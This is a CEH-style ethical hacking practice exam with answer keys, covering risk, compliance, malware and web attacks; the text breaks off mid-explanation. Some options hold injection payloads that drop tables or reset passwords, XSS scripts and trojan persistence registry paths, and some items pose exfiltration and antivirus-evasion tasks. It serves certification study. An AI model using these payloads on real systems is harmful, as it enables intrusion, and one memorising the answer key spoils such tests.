CEH Practice Exam

Press F5 to start practice exam from beginning

Press Shift-F5 to resume practice exam from current slide

Use arrow keys or mouse wheel to navigate slides

Press escape to exit practice exam

 3

Which of these organizations regulates millions of

web transactions every day, and provides guidelines
for protecting PII (Personally Identifiable
Information)?

A. Institute of Electrical and Electronics Engineers (IEEE)

B. Payment Card Industry (PCI)
C. International Security Industry Organization (ISIO)
D. Center for Disease Control (CDC) Answer: B
 4

Which is the best description of a “Blind” SQL

Injection vulnerability?

A. The request to the web server is not visible to the administrator of

the vulnerable application.

B. The attack is called “Blind” because, although the application

properly filters user input, it is still vulnerable to code injection.

C. The successful attack does not show an error message to the

administrator of the affected application.

D. The vulnerable application does not display errors with

information about the injection results to the attacker. Answer: D
 5

What is the most common place that anti-virus

programs check for viruses?

A. Boot Sector
B. Deleted Files
C. Windows Process List
D. Password Protected Files Answer: A
 6

Which is the best way to sanitize user input before

passing it to your back-end SQL server?

A. Validate web content input for query strings.

B. Validate web content input with scanning tools.
C. Validate web content input for type, length, and range.
D. Validate web content input for extraneous queries.
Answer: C
 7

What is it called when you can type

<script>alert(“Gotchya, sucka!")</script> into a web
page, and afterwards a pop-up box appears on the
screen with the text: “Gotchya, sucka!”?

A. Buffer overflow
B. Cross-site request forgery
C. Distributed denial of service
D. Cross-site scripting Answer: D
 8

What is it called when you reduce the attack surface

of a system by uninstalling all un-necessary software
and services, and install all patches and updates?

A. Stealthing
B. Hardening
C. Windowing
D. Harvesting Answer: B
 9

Which tool would you use to comply with PCI

Requirement 11?

A. Truecrypt
B. Sub7
C. Nessus
D. Clamwin Answer: C
 10

Which type of attack can be mitigated by using

several layers of anti-virus defense, such as mail-
server and desktop anti-virus scanning?

A. Forensic attack
B. ARP spoofing attack
C. Social engineering attack
D. Scanning attack Answer: C
 11

Which condition would make a web application

vulnerable to Cross-Site Request Forgery (CSRF)?

A. The victim user must open the malicious link with an Internet Explorer prior to
version 8.

B. The session cookies generated by the application do not have the HttpOnly flag set.

C. The victim user must open the malicious link with a Firefox prior to version 3.

D. The web application does not use random tokens.

Answer: D
 12

What is the standard that provides testing labs with a

set of requirements for evaluating IT products??

A. Blue Book
B. ISO 26029
C. Common Criteria
D. The Wassenaar Agreement Answer: C
 13

How often does the Payment Card Industry Data

Security Standard (PCI-DSS) require companies to
perform penetration testing?

A. At least once a year and after any significant upgrade or

modification
B. At least once every three years or after any significant upgrade or
modification
C. At least twice a year or after any significant upgrade or
modification
D. At least once every two years and after any significant upgrade or
modification Answer: A
 14

What service does the Open Web Application Security

Project (OWASP) provide to help us secure our web
applications?

A. An extensible security framework named COBIT

B. A list of flaws and how to fix them
C. Web application patches
D. A security certification for hardened web applications
Answer: B
 15

If you want to see if a web site is vulnerable to SQL

injection attacks, what is the first character you
should use?

A. Semicolon
B. Single quote
C. Exclamation mark
D. Double quote Answer: B
 16

Which of the following laws requires the CEO to sign

statements verifying the accuracy and completeness
of corporate financial reports?

A. Sarbanes-Oxley Act (SOX)

B. Gramm-Leach-Bliley Act (GLBA)
C. Fair and Accurate Credit Transactions Act (FACTA)
D. Federal Information Security Management Act (FISMA)
Answer: A
 17

Which type of access control do routers and firewalls

use to control network access?

A. Mandatory
B. Discretionary
C. Rule-based
D. Role-based Answer: C
 18

Which of these would be best for determining if your

company would benefit from user-awareness
training?

A. Vulnerability scanning
B. Social engineering
C. Application security testing
D. Network sniffing Answer: B
 19

To ensure that updates to polices and procedures are

made in an organized and controlled manner, you
would employ which of these?

A. Regulatory compliance
B. Peer review
C. Change management
D. Penetration testing Answer: C
 20

The open Source Security Testing Methodology

Manual (OSSTMM) recognizes which of these types of
compliance?

A. Legal, performance, audit

B. Audit, standards based, regulatory
C. Contractual, regulatory, industry
D. Legislative, contractual, standards based Answer: D
 21

Which of these is an OWASP (Open Web Application

Security Project) learning tool comprised of a web
application with many known web vulnerabilities?

A. WebBugs
B. WebGoat
C. VULN_HTML
D. WebScarab Answer: B
 22

Which of these describes the way in which a Boot

Sector Virus works?

A. Moves the MBR to another location on the RAM and copies itself
to the original location of the MBR

B. Moves the MBR to another location on the hard disk and copies
itself to the original location of the MBR

C. Modifies directory table entries so that directory entries point to

the virus code instead of the actual program

D. Overwrites the original MBR and only executes the new virus code
Answer: B
 23

Which is the most efficient/best way to exfiltrate data

past your corporate security controls?

A. a bypass regulator
B. steganography
C. a covert channel
D. asymmetric routing Answer: C
 24

A risk assessment must include which of these?

A. Physical security
B. Administrative safeguards
C. DMZ
D. Logical interface Answer: B
 25

What is the best reason that a stored biometric is

vulnerable to being attacked?

A. The digital representation of the biometric might not be unique, even if the physical
characteristic is unique.

B. Authentication using a stored biometric compares a copy to a copy instead of the

original to a copy.

C. A stored biometric is no longer "something you are" and instead becomes

"something you have".

D. A stored biometric can be stolen and used by an attacker to impersonate the

individual identified by the biometric. Answer: D
 26

Which activities are often used in a risk assessment?

A. Threat identification, vulnerability identification, control analysis

B. Threat identification, response identification, mitigation
identification
C. Attack profile, defense profile, loss profile
D. System profile, vulnerability identification, security determination
Answer: A
 27

Which approach involves senior-management

condoning and supporting the project?

A. A bottom-up approach
B. A top-down approach
C. A senior creation approach
D. An IT assurance approach Answer: B
 28

The term ROSI refers to which of the following?

A. It is a made up term
B. Reach Out for Security Improvement
C. Return on Security Investment
D. Respond Onsight to System Incidents Answer: C
 29

If you are worried about unknowingly hiring a

corporate spy from your competitors, what is the best
way to protect yourself?

A. It is impossible to block these attacks

B. Hire the people through third-party job agencies who will
check them for you
C. Conduct thorough background checks
D. Investigate their social networking profiles Answer: C
 30

A customer is prompted to enter his first and last

name into a field on a web page. The query created
would then look like this:
SELECT * FROM CustTable WHERE Customer = ‘Bob
Smith'
How would you delete CustTable from the database
using SQL Injection?

A. Bob Smith'; drop table CustTable --

B. Delete table'blah'; CustTable --
C. EXEC; SELECT * CustTable > DROP --
D. cmdshell'; 'del c:\sql\mydb\CustTable' // Answer: A
 31

What is it called when you perform a SQL injection

attack, but you can’t see the results?

A. Unique SQL Injection

B. Blind SQL Injection
C. Generic SQL Injection
D. Double SQL Injection Answer: B
 32

Buffer Overflow attacks involve which of these

registers?

A. EEP
B. ESP
C. EAP
D. EIP Answer: D
 33

Which is the best description of war dialing?

A. War dialing involves the use of a program in

conjunction with a modem to penetrate the modem/PBX-
based systems
B. War dialing is a vulnerability scanning technique that
penetrates Firewalls
C. It is a social engineering technique that uses Phone
calls to trick victims
D. Involves IDS Scanning Fragments to bypass Internet
filters and stateful Firewalls Answer: A
 34

What is the difference between OSSTMM (Open

Source Security Testing Methodology Manual) and
OWASP (Open Web Application Security Project)?

A. OWASP is for web applications and OSSTMM does not

include web applications.
B. OSSTMM is gray box testing and OWASP is black box testing.
C. OWASP addresses controls and OSSTMM does not.
D. OSSTMM addresses controls and OWASP does not. Answer: A
 35

How do you perform a CSPP attack (Connection String

Parameter Pollution)?

A. Injecting parameters into a connection string using semicolons as a

separator
B. Inserting malicious Javascript code into input parameters
C. Setting a user's session identifier (SID) to an explicit known value
D. Adding multiple parameters with the same name in HTTP requests
Answer: A
 36

When assessing risks, what information will be gained

by an IT system analysis?

A. Management buy-in
B. Threat statement
C. Security architecture
D. Impact analysis Answer: C
 37

Which of these is a valid risk management technique?

A. Reject the risk.

B. Deny the risk.
C. Mitigate the risk.
D. Initiate the risk. Answer: C
 38

Which is the greatest risk to your corporate network?

A. black hat hackers

B. grey hat hackers
C. disgruntled employees
D. script kiddies Answer: C
 39

What type of virus wakes up once a month and

executes code?

A. Cavity Virus
B. Macro Virus
C. Boot Sector Virus
D. Metamorphic Virus
E. Sparse Infector Virus Answer: E
 40

An attacker befriends an employee under false

pretenses, then later steals and uses that employee’s
access badge to gain access to the corporate office
building. What type of insider threat would the
attacker be considered?

A. He is considered an Insider Affiliate.

B. Because he does not have any legal access himself, he
is considered an Outside Affiliate.
C. He is an Insider Associate because he befriended an
actual employee.
D. Since he gained access with a legitimate company
badge, he is considered a Pure Insider.
Answer: A
 41

To infect a machine, a rootkit needs which privilege

level?

A. User level privileges

B. Ring 3 Privileges
C. System level privileges
D. Kernel level privileges Answer: D
 42

What is the name of the Steganography method that

hides data in the “white-space” of files?

A. snow
B. beetle
C. magnet
D. cat Answer: A
 43

Besides input validation, what is another

countermeasure against an XSS scripting attack such
as an attacker entering the following on a web page:
<script>alert(“You big dummy!”)</script>

A. Create an IP access list and restrict connections based on port number

B. Replace "<" and ">" characters with "& l t;" and "& g t;" using server scripts
C. Disable Javascript in IE and Firefox browsers
D. Connect to the server using HTTPS protocol instead of HTTP

Answer: B
 44

Which of these web-server maintenance steps would

involve a forensic investigator?

A. Configuring, protecting, and analyzing log files

B. Backing up critical information frequently
C. Maintaining a protected authoritative copy of the
organization's Web content
D. Establishing and following procedures for recovering
from compromise
E. Testing and applying patches in a timely manner
F. Testing security periodically. Answer: D
 45

Which of these are common web vulnerabilities that a

web admin should be concerned about?

A. Non-validated parameters, broken access control, broken account and

session management, cross-site scripting and buffer overflows

B. Visible clear text passwords, anonymous user account set as default, missing
latest security patch, no firewall filters set and no SSL configured

C. No SSL configured, anonymous user account set as default, missing latest

security patch, no firewall filters set and an inattentive system administrator

D. No IDS configured, anonymous user account set as default, missing latest

security patch, no firewall filters set and visible clear text passwords
Answer: A
 46

Which of these is the most efficient way for an

attacker to infect a remote corporate machine with a
trojan?

A. Physical access - the attacker can simply copy a Trojan horse to a

victim's hard disk infecting the machine via Firefox add-on extensions

B. Custom packaging - the attacker can create a custom Trojan horse

that mimics the appearance of a program that is unique to that
particular computer

C. Custom packaging - the attacker can create a custom Trojan horse

that mimics the appearance of a program used by the company

D. Downloading software from a website. An attacker can offer free

software, such as shareware programs and pirated mp3 files
Answer: C
 47

More sophisticated IDSs look for common shellcode

signatures. But even these systems can be bypassed
by using polymorphic shellcode. This is a technique
common among virus writers that basically hides the
true nature of the shellcode in different disguises.
How does a polymorphic shellcode work?
A. They reverse the working instructions into opposite order by
masking the IDS signatures.
B. They compress shellcode into normal instructions,
uncompress the shellcode using loader code, and then execute.
C. They encrypt the shellcode, use loader code to decrypt the
shellcode, then executing the decrypted shellcode.
D. They convert the shellcode into Unicode using a loader to
convert back to machine code before execution. Answer: C
 48

Your web-page asks users to enter their mailing

address, but you’re worried about possible buffer
overflow attacks. Which bit of pseudo-code would
correctly limit the Address1 field to 40 characters and
avoid a buffer overflow?

A. if (Address1 = 40) {update field} else exit

B. if (Address1 != 40) {update field} else exit
C. if (Address1 >= 40) {update field} else exit
D. if (Address1 <= 40) {update field} else exit Answer: D
 49

Which bit of pseudo-code in a programming module

would limit input to less than 300 characters, and if
there are 300 characters, the module should stop
because it can’t hold any more data?

A. If (I > 300) then exit

B. If (I < 300) then exit
C. If (I <= 300) then exit
D. If (I >= 300) then exit Answer: D
 50

What type of attack will take advantage of a flaw in a

web page to force other user’s browsers to send
malicious requests they didn’t intend to send?

A. File injection attack

B. Hidden field manipulation attack
C. SQL Injection attack (SQLi)
D. Cross-Site Request Forgery (CSRF) Answer: D
 51

An example of a logical or technical control would be?

A. Security tokens
B. Heating and air conditioning
C. Smoke and fire alarms
D. Corporate security policy Answer: A
 52

Which famous trojan could command and control a

botnet?

A. YouKill DOOM
B. Damen Rock
C. Poison Ivy
D. Matten Kit Answer: C
 53

You want to steal a file from work and send it to your

home computer. If your company monitors outbound
traffic, how can you transfer the file without raising
any suspicion?

A. Encrypt the [Link] using PGP and e-mail it to your personal

gmail account
B. Package the [Link] using Trojan wrappers and telnet them
back your home computer
C. You can conceal the [Link] database in another file like
[Link] or other files and send it out in an innocent looking
email or file transfer using Steganography techniques
D. Change the extension of [Link] to [Link] and upload
them as attachment to your hotmail account
Answer: C
 54

Which ISO standard should definitely be

implemented?

A. ISO/IEC 27001
B. ISO/IEC 27002
C. ISO/IEC 27003
D. ISO/IEC 27004 Answer: A
 55

A common web site flaw allows users to provide data

onto a web site, then displays that content to other
users in an un-sanitized form. Which attack takes
advantage of this?

A. URL Traversal attack

B. SQL Injection
C. Cross-site-scripting attack
D. Buffer Overflow attack Answer: C
 56

What is a covert channel?

A. A server program using a port that is not well known

B. Making use of a protocol in a way it was not intended
to be used
C. It is the multiplexing taking place on a communication
link
D. It is one of the weak channels used by WEP that makes
it insecure
Answer: B
 57

Your company wants to implement 2-factor

authentication, however, smart-cards have been
deemed too expensive. Which would be the next best
choice?

A. Biometric device
B. OTP
C. Proximity cards
D. Security token Answer: D
 58

Which HTTP request includes a SQL injection attack?

A. [Link]
lname=jones%27%3bupdate%20usertable%20set%20
passwd%3d%27baseball%27%3b--%00
B. [Link]
mydata=%3cscript%20src=%22
C. http%3a%2f%[Link].c0m%
[Link]%22%3e%3c%2fscript%3e
D. [Link]
=67891&credit=999999999
Answer: A
 59

What does ISO 27002 provide?

A. guidelines and practices for security controls.

B. financial soundness and business viability metrics.
C. standard best practice for configuration management.
D. contract agreement writing standards. Answer: A
 60

Which of these can emulate corporate servers to

observe logins and action taken?

A. Firewall
B. Honeypot
C. Core server
D. Layer 4 switch Answer: B
 61

To make itself persistent on a Windows machine, in

which TWO Registry locations does a trojan create
entries?

A.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

B.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\System32\CurrentVe
rsion\ Run

C.
HKEY_CURRENT_USER\Software\Microsoft\Windows\System32\CurrentVersio
n\Run

D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Answer: AD
 62

When using public computers, what are THREE ways

to defeat possible key-loggers?

A. Alternate between typing the login credentials and typing characters

somewhere else in the focus window

B. Type a wrong password first, later type the correct password on the login
page defeating the keylogger recording

C. Type a password beginning with the last letter and then using the mouse to
move the cursor for each subsequent letter.

D. The next key typed replaces selected text portion. E.g. if the password is
"secret", one could type "s", then some dummy keys "asdfsd". Then these
dummies could be selected with mouse, and next character from the password
"e" is typed, which replaces the dummies "asdfsd"
Answer: ACD
 63

You have a fake ID badge and company shirt. You wait

by an entrance and follow an employee into the office
after they swipe their access card to open the door.
Which type of social engineering attack is this?

A. You have used a tailgating social engineering attack to gain access to the
offices
B. You have used a piggybacking technique to gain unauthorized access
C. This type of social engineering attack is called man trapping
D. You are using the technique of reverse social engineering to gain access to
the offices
Answer: A
 64

Hacker Joe logs into his email account online and gets the
following URL:
[Link]
Joe is trying to access Bob Jones’ email account, so he
changes the URL to:
[Link]
Which attack is Joe using here to attempt to gain access
to Bob’s e-mail?
A. This type of attempt is called URL obfuscation when someone
manually changes a URL to try and gain unauthorized access
B. By changing the mailbox's name in the URL, Joe is attempting
directory transversal
C. Joe is trying to utilize query string manipulation to gain access
to Bob’s email account
D. He is attempting a path-string attack to gain access to Bob’s
mailbox Answer: C
 65

What can you do if your final security solutions do not

eliminate 100% of the risk in a system?

A. Continue to apply controls until there is zero risk.

B. Ignore any remaining risk.
C. If the residual risk is low enough, it can be accepted.
D. Remove current controls since they are not completely
effective. Answer: C
 66

A polymorphic virus can mutate and change its

signature and hide from signature-based antivirus
programs. If that’s the case, then can Action Jackson
use an antivirus program to detect and eliminate a
polymorphic virus?

A. Yes. A.J. can use an antivirus program since it compares the parity bit of executable files to
the database of known check sum counts and it is effective on a polymorphic virus.

B. Yes. A.J. can use an antivirus program since it compares the signatures of executable files to
the database of known viral signatures and it is very effective against a polymorphic virus.

C. No. A.J. can't use an antivirus program since it compares the signatures of executable files to
the database of known viral signatures and in that case the polymorphic viruses cannot be
detected by a signature-based anti-virus program.

D. No. A.J. can't use an antivirus program since it compares the size of executable files to the
database of known viral signatures and it is effective on a polymorphic virus.
Answer: C
 67

Which of these methods would NOT be an effective

way for your custom-made Trojan to evade corporate
anti-virus scanners?

A. Convert the [Link] file extension to [Link] disguising as text

file

B. Break the Trojan into multiple smaller files and zip the individual
pieces

C. Change the content of the Trojan using hex editor and modify the
checksum

D. Encrypt the Trojan using multiple hashing algorithms like MD5 and
SHA-1 Answer: A
 68

Before you turn on auditing on a production server,

what should you do first?

A. Perform a vulnerability scan of the system.

B. Determine the impact of enabling the audit feature.
C. Perform a cost/benefit analysis of the audit feature.
D. Allocate funds for staffing of audit log review. Answer: B
 69

Which of these often targets Microsoft Office

products?

A. Polymorphic virus
B. Multipart virus
C. Macro virus
D. Stealth virus Answer: C
 70

How are user-account passwords typically protected?

A. The operating system performs a one-way hash of the

passwords.
B. The operating system stores the passwords in a secret
file that users cannot find.
C. The operating system encrypts the passwords, and
decrypts them when needed.
D. The operating system stores all passwords in a
protected segment of non-volatile memory.
Answer: A
 71

Which is the most common and efficient method of

cracking Windows server AD (Active Directory)
passwords?

A. Perform a dictionary attack.

B. Perform a brute force attack.
C. Perform an attack with a rainbow table.
D. Perform a hybrid attack. Answer: C
 72

Which password-cracking method takes a dictionary

file, then adds numbers and symbols to those words
in an attempt to crack the passwords?

A. Dictionary attack
B. Brute forcing attack
C. Hybrid attack
D. Syllable attack
E. Rule-based attack Answer: C
 73

Where are SAM password files stored in Windows?

A. c:\windows\system32\config\SAM
B. c:\winnt\system32\machine\SAM
C. c:\windows\etc\drivers\SAM
D. c:\windows\config\etc\SAM Answer: A
 74

If you’re using LAN Manager (LANMan) to store

passwords, they are truncated down to 14 bytes, split
in half, and then the halves are individually hashed
and stored. If a user’s password is less than 8
characters, the second hash value would be..

A. 0xAAD3B435B51404EE
B. 0xAAD3B435B51404AA
C. 0xAAD3B435B51404BB
D. 0xAAD3B435B51404CC Answer: A
 75

How long would it take you to crack a 21 character

dictionary-word password?

A. 16 million years
B. 5 minutes
C. 23 days
D. 200 years Answer: B
 76

As an admin, how can you protect your password files

against rainbow tables?

A. Password salting
B. Use of non-dictionary words
C. All uppercase character passwords
D. Lockout accounts under brute force password cracking
attempts Answer: A
 77

You want to crack a company’s password file.

Employees use a password generator that creates
random, non-dictionary passwords. Which method
would crack these passwords in the shortest amount
of time?
In this scenario, dictionary is out because the users have randomly generated passwords. There
is no such thing as brute service attack. A brute-force attack is usually the slowest way to crack
password hashes. A birthday attack is slightly faster because it uses mathematical algorithms to
reduce the number of possibilities the password cracker needs to try.

A. Brute force attack

B. Birthday attack
C. Dictionary attack
D. Brute service attack Answer: B
 78

Which THREE of these are used for password

cracking?

A. BTCrack
B. John the Ripper
C. KerbCrack
D. Nikto
E. Cain and Abel
F. Havij Answer: B,C,E
 79

On a Windows machine, what is the RID/SID of the

administrator account?

A. 100
B. 412
C. 500
D. 999 Answer: C
 80

Hacker Joe attacks a web page by entering

unexpected data on the logon page. He then gains
access to the database and displays the contents of
the table that has usernames and passwords of other
users. What is the problem here?

A. Insufficient security management

B. Insufficient exception handling
C. Insufficient database hardening
D. Insufficient input validation Answer: D
 81

Which of these is a set of rules for people who handle

electronic medical data?

A. FISMA
B. COBIT
C. HIPAA
D. ISO/IEC 27002 Answer: C
 82

You boot your computer up to find a pop-up message

saying that illegal activity was detected, and your
computer is now locked. The message also states that
you must pay a fine to have your computer unlocked.
You find that you cannot bypass this message and you
are unable to use your computer at all. Which of
these threats is this describing?

A. Riskware
B. Spyware
C. Adware
D. Ransomware Answer: D
 83

While you are logged in to your bank using your web

browser, you get an e-mail with a link to another
website. You click the link and go to the second site
where you see some funny videos. The next day, your
bank sends you an e-mail saying your account has
been accessed from China, and funds have been
transferred there. Which of these web vulnerabilities
was exploited to steal your funds?

A. Web form input validation

B. Clickjacking
C. Cross-Site Scripting
D. Cross Site Request Forgery Answer: D
 84

The chance of a hard drive failure is once every four

years. The cost to buy a new hard drive is $400. It will
require 5 hours to restore the OS and software to the new
hard disk. It will require another 5 hours to restore the
user data from the last backup to the new hard disk. The
recovery tech earns $10/hour. Calculate the SLE, ARO,
and ALE. Assume the EF = 1 (100%).

What is the closest approximate cost of this replacement

and recovery operation per year?

A. $100
B. $125
C. $500
D. $1500 Answer: B
 85

An attacker wants to target your company with

malware, so he compromises a web site your
employees frequently visit. He hopes your users’
machines will become infected with the malware.
Which type of attack is this?

A. Spear Phishing attack

B. Watering Hole attack
C. Heartbleed attack
D. Shellshock attack Answer: B
 86

What is the process called that can record, log, and

resolve events that happen in your company?

A. Metrics
B. Incident management process
C. Internal procedure
D. Security policy Answer: B
 87

While doing a pen-test, you send the boss’s secretary

an e-mail, changing the source to look like it came
from the boss. You ask her for some links to relevant
websites. She sends you the links via e-mail. You
change them to links containing malware and send
them back, telling her the links didn’t work. She tries
the links herself and her machine gets infected, giving
you access to it. Which testing method was used?

A. Piggybacking
B. Social engineering
C. Tailgating
D. Eavesdropping Answer: B
 88

Which of the following describes a LM Hash:

I - The maximum password length is 14 characters.

II - There are no distinctions between uppercase and
lowercase.
III - It's a simple algorithm, so 10,000,000 hashes can
be generated per second.

A. I
B. II
C. I and II
D. I, II, and III Answer: D
 89

In which phase of incident-handling do you define

processes/procedures/rules, and create and test back-
up and response plans?

A. Preparation phase
B. Identification phase
C. Containment phase
D. Recovery phase Answer: A
 90

Which technique provides 'security through obscurity‘

by hiding secret messages within ordinary messages?

A. Encryption
B. RSA algorithm
C. Steganography
D. Public-Key cryptography Answer: C
 91

While doing a pen-test, you find a hidden folder with

the admin’s bank account username and password
information. What should you do?

A. Do not report it and continue the penetration test

B. Report immediately to the administrator
C. Transfer money from the administrator’s account to
another account
D. Do not transfer the money but steal the bitcoins
Answer: B
 92

Risks = threats x vulnerabilities x impact is referred to

as the:

A. Risk equation
B. Threat assessment
C. Disaster recovery formula
D. BIA equation Answer: A
 93

Which password cracking technique takes the longest

time and most effort?

A. Dictionary attack
B. Shoulder surfing
C. Brute force
D. Rainbow tables Answer: C
 94

You find out your web site has some flaws, so to fix
them you prevent users from entering HTML as input
into the web site.

Which type of web flaw were you trying to fix?

A. Cross-site scripting vulnerability

B. Web site defacement vulnerability
C. SQL-injection vulnerability
D. Cross-site Request Forgery vulnerability Answer: A
 95

Which is a typical method for exploiting the ShellShock

vulnerability?
Bash is the name of a popular shell (command prompt) in may Unix-
based systems. Bash can also be used to run commands passed to it
by applications and it is this feature that the vulnerability affects. One
type of command that can be sent to Bash allows environment
variables to be set. Environment variables are dynamic, named
values that affect the way processes are run on a computer. The
vulnerability lies in the fact that an attacker can tack-on malicious
code to the environment variable, which will run once the variable is
received.
A. SYN Flood
B. Manipulate format strings in text fields
C. Through web servers utilizing CGI (Common Gateway
Interface) to send a malformed environment variable
to a vulnerable web server
D. SSH Answer: C
 96

Hacker Joe stands outside the facility while talking on

his phone. When an authorized employee walks by,
swipes her badge, and enters the building, Joe grabs
the door before it closes. What just happened?

A. Phishing
B. Whaling
C. Piggybacking
D. Masquerading Answer: C
 97

Which of these is NOT one of the basic responses to

risk?

A. Avoid
B. Delegate
C. Mitigate
D. Accept Answer: B
 98

In 2014 a well-publicized vulnerability was found in

the GNU Bash shell that would let an attacker run
remote commands on a vulnerable system. What was
this called?

A. Shellshock
B. Shellbash
C. Rootshock
D. Rootshell Answer: A
 99

The CEO hired you to mitigate threats and

vulnerabilities to the point that you have totally
eliminated risk. What is one of the first things you
should do?

A. Start the Wireshark application to start sniffing network

traffic
B. Interview all employees in the company to rule out possible
insider threats
C. Establish attribution to suspected attackers
D. Explain to the CEO that you cannot eliminate all risk, but you
will be able to reduce risk to an acceptable level
Answer: D
 100

In Risk Management, how is the term "likelihood"

related to the concept of "threat?"

A. Likelihood is a possible threat-source that may

exploit a vulnerability
B. Likelihood is the probability that a vulnerability is a
threat-source
C. Likelihood is a the probability that a threat-source
will exploit a vulnerability
D. Likelihood is the likely source of a threat that could
exploit a vulnerability Answer: C
 101

The Open Web Application Security Project (OWASP) is a

community-driven effort to improve the security of web
applications. What is the top item on their Top Ten most
critical web security risks?

Check out OWASP’s top-10 list at

[Link]
0_for_2013
You’ll see that Injection is at the top of their list

A. Injection
B. Cross Site Request Forgery
C. Cross Site Scripting
D. Path disclosure
Answer: A
 102

All of these are Bluetooth attacks except for which?

A. Bluejacking
B. Bluesnarfing
C. Bluedriving
D. Bluesmacking Answer: C
 103

Which of these could best describe SQL injection?

A. It is a Denial of Service attack

B. It is an attack used to gain unauthorized access to
a database
C. It is an attack used to modify code in an
application
D. It is a Man-In-The-Middle attack between your SQL
server and web-app server Answer: B
 104

After finding and mitigating the vulnerabilities on

your network, some small amount of risk still remains.
What is this called?

A. Impact risk
B. Deferred risk
C. Residual risk
D. Inherent risk Answer: C
 105

Which of these is an entity or event with the potential

to harm a system through unauthorized access, theft,
destruction, denial of service, or modification of data.

A. Risk
B. Threat
C. Attack
D. Vulnerability Answer: B
 106

Which of these is the most “low-tech” method of

accessing a system?

A. Scanning
B. Eavesdropping
C. Sniffing
D. Social engineering Answer: D
 107

If you boot a Windows machine with an Ubuntu Live

CD, which Linux command-line tool can change user
passwords and activate disabled accounts in the SAM
file of the Windows machine?

A. SET
B. CHNTPW
C. Cain & Abel
D. John the Ripper Answer: B
 108

Where should you store your backup tapes?

A. In a dry, cool environment

B. In a climate controlled facility off-site
C. Inside the data center for faster retrieval in a fireproof safe
D. On a different floor in the same building
Answer: B
 109

Which one of these would be the biggest threat

involving backups?

A. An un-encrypted backup can be misplaced or

stolen
B. A backup is unavailable during disaster recovery
C. A backup is the source of malware or illicit
information
D. A backup is incomplete because no verification
was performed
Answer: A
 110

An attacker infected your web server with a trojan. He

can now use your server send spam mail, and can also
use it to join in coordinated attacks against targets he
chooses. Which type of trojan would this be?

A. Turtle trojans
B. Botnet trojan
C. Banking trojan
D. Ransomware trojan Answer: B
 111

Which of these would be the best way to prevent XSS

(Cross-Site Scripting) in your application?

Escaping the data is cleaning it up before presenting it to

other users. Sometimes this is called ‘output validation’.

A. Validate and escape all information sent to a server

B. Verify access right before allowing access to
protected information and UI controls
C. Use security policies and procedures to define and
implement proper security settings
D. Use digital certificates to authenticate a server
prior to sending data Answer: A
 112

Your website sells widgets to internet customers and

your security team regularly verifies that the
components of the website are safe. Later you add 3rd
party Java analytics tools to the site to track customer
activities on your website. These tools are located on
the servers of the analytics company. What’s the main
risk here?

A. There is no risk at all as the analytics services are trustworthy.

B. External scripts increase the outbound company data traffic which leads to
greater financial loss.
C. External scripts have direct access to the company servers and can steal
the data from there.
D. External scripts contents could be maliciously modified without the
security team’s knowledge.
Answer: D
 113

One of your largest customers has placed a call into

your IT department. The customer is asking about
your network systems, infrastructure, and team. The
customer has stated that they are considering
possible integration options between your two
companies. How should your IT employee respond to
this request for information?
Even providing the name of the person in charge could be damaging, especially if the caller is
not who he claims to be.

A. Since the company’s policy is all about customer service, he should provide the
information.
B. The employee should not provide any information without previous management
authorization.
C. The employee should just hang up.
D. The employee can not provide any information, but he should provide the name
of the person in charge.
Answer: B
 114

What’s the name of the process where you determine

the critical business processes, and the potential
impacts when you lose their services?

A. Risk mitigation
B. Emergency Plan Response (EPR)
C. Disaster Revovery Planning (DRP)
D. Business Impact Analysis (BIA) Answer: D
 115

What’s the correct term for the amount of risk left

over after making all reasonable attempts at
mitigating the risk by deploying countermeasures.

A. Inherent risk
B. Residual risk
C. Impact risk
D. Deferred risk Answer: B
 116

What is the name of a type of virus that tries to install

itself inside the file it’s infecting?
A Cavity Virus attempts to install itself inside of the file it is infecting, rather than appending
itself to the end of the file like most viruses do. This is a stealth technique that tries to keep the
size of the file the same to avoid detection. This is hard to do though, so it's rare.

A. Polymorphic virus
B. Tunneling virus
C. Cavity virus
D. Stealth virus Answer: C
 117

After gaining access to a Linux machine, how can an

attacker use the /etc/passwd file?

In Linux, user-account info is stored in the /etc/passwd file. Typically, however, the actual user
passwords themselves are stored in a different file, /etc/shadow, which is only readable by the
root account.

A. He can’t read it because it’s encrypted.

B. The file reveals the passwords to the root user only.
C. He can open it and read the user id’s and
corresponding passwords.
D. The password file does not contain the passwords
themselves.
Answer: D
 118

What type of SQL injection attack is this?

SELECT * FROM userinfo WHERE name=‘xyz’ AND userid IS

NULL; --’;
The -- is an end of line comment and negates any other code that may have come afterwards,
such as a password requirement perhaps. Tautology is when two things are equal to each other,
such as 1=1 (which is not present here). A union statement is combining two queries with a
UNION command (again, not present here). As for the logic, the above query is logically correct.

A. Union SQL injection

B. End of line comment
C. Tautology
D. Illegal/logically incorrect query Answer: B
 119

Which would be the best description for Cross-Site

Request Forgery (CSRF)?

A. Modification of a request by a proxy between client and server

B. A request sent by a malicious user from a browser to a server
C. A browser making a request to a server without the user’s
knowledge
D. A server making a request to another server without the user’s
knowledge
Answer: C
 120

In an attempt to protect passwords in the password

file, you add random characters to the passwords
before hashing them. What is this called?

A. Double hashing
B. Salting
C. Key stretching
D. Keyed hashing Answer: B
 121

You have a frame-relay network connected to your

company. Over this network you need authenticate
inbound users who are connecting via DSL, analog
modems, wireless data services, and VPN’s. Which AAA
would be the most likely to handle this requirement?
RADIUS is the AAA system that has been around the longest and is generally the most
compatible with different technologies and different vendor’s equipment.

Another reason RADIUS is a better answer here is that RADIUS is generally used for your users to
access the network, whereas TACACS+ is generally used to control remote administration of
networking equipment. TACACS+ can not only authenticate your network technicians, but it can
also authorize a specific list of commands for each one of them.

A. Kerberos
B. TACACS+
C. RADIUS
D. Diameter Answer: C
 122

In which type of attack does an attacker exploit

vulnerabilities in dynamically generated web pages to
inject client-side scripts into pages viewed by other
users?

A. Cross-Site Request Forgery (CSRF)

B. SQL injection attack
C. LDAP injection attack
D. Cross-Site Scripting (XSS) Answer: D
 123

What’s the attack called where someone uses your

Bluetooth connection to send you messages without
your consent? This is basically the Bluetooth version
of spamming.

A. Bluesmacking
B. Bluejacking
C. Bluesniffing
D. Bluesnarfing Answer: B
 124

Which type of attack allows an attacker to force a

victim’s browser to send an authenticated request to
a server?

While CSRF is a type of session hijack, it’s the better answer here as it’s the specific type of
session hijack this question is referring to. With CSRF you need the victim to log-in
(authenticate) to a server, then you trick the user into clicking on some type of link that will then
